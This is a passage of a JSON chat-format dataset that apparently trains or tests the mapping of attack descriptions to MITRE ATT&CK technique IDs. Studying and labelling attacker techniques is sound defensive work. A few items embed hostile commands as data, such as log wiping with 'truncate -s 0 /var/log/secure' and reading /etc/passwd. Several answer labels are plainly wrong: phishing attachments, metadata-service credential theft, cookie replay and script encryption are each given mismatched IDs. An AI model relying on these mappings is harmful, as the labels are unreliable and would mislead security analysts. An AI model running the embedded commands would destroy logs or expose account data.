                "content": "Malware drops a scheduled task that prompts for elevation, and when the user clicks 'Yes', it runs the payload with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious DLL, the intruder reads the SAM database to harvest local account password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors transmit exfiltrated data hidden in seemingly normal GIF files using LSB technique."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised SDN controller, the attacker changes the authentication policies of connected switches to grant unrestricted access to a specific IP range."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages STUN servers to discover public IP and port mappings, then injects traffic to bypass the NAT firewall."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads the registry to locate the user's Startup folder path for persistence."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a custom value in /System/Library/LaunchDaemons/com.apple.syslogd.plist to alter logging behavior."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors compromised home routers, forming a botnet that was later used to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the operating system for a list of network adapters and their IP configurations to map the internal network."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware injects its encryption routine into the memory of a system service process via remote thread creation."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use Timestomping to change the last access time of suspicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates an IFEO registry subkey for a legitimate Windows utility and sets the 'Debugger' value to a custom payload, ensuring the payload runs each time the utility is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using extra window memory injection, the threat actor injects a payload into a hidden GUI window of a high‑privilege application to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary saves authentication tokens in the registry key HKCU\\Software\\Classes\\CLSID\\{GUID} to be used by a later stage of the attack."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a batch file that executes \"shutdown -l -f\" to log off all users and lock the workstation."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves pushing data to a remote HTTP endpoint that does not respond, enabling silent exfiltration via a one‑way channel."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to GCP service accounts, the adversary provisioned new Compute Engine instances to host command-and-control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The advanced persistent threat encrypts its command scripts with AES before deploying them on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious authentication package is loaded by the LSASS service during credential verification, granting the attacker persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts logs and posts them as a new snippet on GitHub Gist, allowing the attacker to retrieve the information later."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a scheduled task to run a curl command that pulls a malicious DLL from a malicious IP address."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use business intelligence tools to analyze the target's corporate affiliation network, focusing on subsidiaries, parent companies, and joint partners."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A VBScript is used to spawn a hidden PowerShell process that executes a downloader payload."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts LinkedIn and industry forum searches to discover key business partners and supply chain connections of the victim company."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email campaign impersonates a trusted vendor and includes a malicious macro‑enabled Word document."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential harvesting is achieved by dumping the OS's password database files, specifically /etc/passwd and /etc/shadow."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using elevated privileges, the threat actor alters the signed system image of a virtual machine template to propagate malware to new VMs."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware adds its payload to the $Extend\\$UsnJrnl hidden file stream to evade antivirus scans."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator conducts reconnaissance by manually browsing the victim's publicly accessible web applications to locate API endpoints and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant avoids static imports by calculating the hash of needed Windows API names and using GetProcAddress at runtime to resolve them dynamically."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Kerberos protocol, the threat actor generates a counterfeit TGT using the KRBTGT hash, enabling lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses Pass the Hash technique to authenticate to remote services using NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor changes the power policy to prevent the screen from turning off, increasing visibility for keylogging."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed regsvr32 /i:\"/b /c calc.exe\" to run the calculator as a disguised binary execution method."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed encrypted data in HTTP POST requests to a command and control server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies firewall rules to block outbound traffic to threat intelligence servers used for indicator updates."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a batch file that systematically removes user documents and backups from the network shares."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign targets executives with a tailored email requesting confirmation of their credentials for a simulated audit."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Unix shell to enumerate user accounts by executing 'cat /etc/passwd'."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits misconfigured AWS S3 buckets to retrieve stored backups containing sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker manipulates group policy objects to grant themselves elevated privileges on a system, what tactic does this represent?"
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion inserts a compromised PasswordFilters DLL into the OS, capturing new passwords as they are set, effectively modifying the authentication workflow."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Outlook\\HomePage to point to a malicious URL that loads a phishing page on Outlook startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the Windows utility InstallUtil.exe to install a .NET payload as a service."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set terminates the syslog service on Linux servers to hide their activity logs."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code moves downloaded payloads to %SYSTEMROOT%\\Temp\\stage before executing them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a batch file that is called by a legitimate scheduled task, allowing the attacker to run commands indirectly."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a previously stolen Google Workspace admin account to create new service accounts and expand privileges within the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker compromises a compromised domain registrar account to modify DNS and redirect traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team exercises include using a USB drive to transfer leaked data from a secured network segment to an external system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA to disable UAC temporarily and gain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent threat inserts a rogue login hook script that launches its main component whenever the operating system boots or a user signs in."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses random padding bytes at the end of a compiled payload to make signature-based detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor copies the root volume of a cloud VM by creating a snapshot, then attaches it to another instance they control."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to take screenshots of the active window every 30 seconds for surveillance."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor replaces the RSA key on a database server with a deliberately weak 512‑bit key to enable easier decryption of traffic."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the domain password policy to reduce complexity requirements, allowing easier credential guessing."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary altered GCP Stackdriver logging configurations, turning off log collection for critical resources."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Outlook's rules engine to automatically run a scheduled task that connects to a C2 server each time a new message arrives in the inbox."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker utilizes a credential dumping tool to extract passwords from a system, what is the MITRE ATT&CK ID for this?"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvest authentication cookies from a compromised browser profile and replay them to gain unauthorized access to the victim's web accounts."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the cloud provider's instance metadata service to retrieve temporary credentials and further pivot."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates the user's email client configuration files to locate stored email accounts."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a credential dump by extracting the securityd memory image."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a race condition in SSH multiplexing, allowing them to attach to an existing session and execute commands as the original user."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a routine that backs up the victim’s password manager database before encryption."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a PowerShell script to locate and export authentication certificates stored in the current user's profile, enabling lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user account runs a PowerShell script that calls \"sudo truncate -s 0 /var/log/secure\" on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the SSH handshake to negotiate a weak 1024‑bit Diffie‑Hellman group, weakening the encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a fake service named \"Microsoft Network Service\" which loads a trojanized DLL."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code automates SNMP GETBULK requests to harvest the full configuration repository."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a buffer overflow in the macOS kernel extension, effectively disabling Gatekeeper and other defense features."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email instructed users to download \"update .msi\" where the space after the filename made the installer look like a legitimate Windows update."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell Remoting to transfer a malicious DLL to a victim's machine, enabling execution of additional payloads on that system."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a PowerShell script that uses the \"Invoke-WebRequest\" cmdlet to pull down a payload from a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
